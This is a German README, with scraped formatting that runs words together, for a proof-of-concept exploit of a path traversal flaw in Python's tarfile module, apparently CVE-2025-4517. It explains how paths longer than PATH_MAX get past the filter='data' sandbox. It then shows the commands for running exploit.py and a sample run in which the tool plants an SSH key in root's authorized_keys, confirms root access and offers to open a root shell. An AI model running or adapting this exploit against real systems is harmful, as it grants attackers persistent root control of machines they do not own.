
Pfad-Traversal-Sicherheitslücke in Pythons tarfile.
Path-Traversal-Schwachstelle im Python-Modul
tarfile, die die Versionen 3.8.0 bis 3.13.1 betrifft. Die Sandboxfilter="data"– die dazu gedacht ist, unsichere Extraktionen zu verhindern – kann umgangen werden, indem Pfade erstellt werden, diePATH_MAX(4096 Bytes) überschreiten, wodurchos.path.realpath()stillschweigend aufhört, Symlinks aufzulösen. Die Sicherheitsprüfung sieht einen sicher aussehenden Pfad, während der Kernel den tatsächlichen auflöst, was Schreibvorgänge außerhalb des Extraktionsverzeichnisses ermöglicht. Dieser PoC nutzt die Umgehung aus, um einen SSH-öffentlichen Schlüssel in/root/.ssh/authorized_keyszu schreiben.
PATH_MAX hinaus treiben.filter="data" ruft os.path.realpath() auf, um jeden Pfad zu validieren – aber bei PATH_MAX hört es auf aufzulösen und sieht den Pfad als immer noch innerhalb des Staging-Verzeichnisses. Die Prüfung besteht./root/.ssh/authorized_keys.ssh-keygen verfügbar (oder eigenen öffentlichen Schlüssel mit -k bereitstellen)sudo-Rechte, um die anfällige Extraktion auszulösen# Generate a new keypair automatically
python3 exploit.py
# Use an existing public key
python3 exploit.py -k ~/.ssh/id_ed25519.pub
Beispiel:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):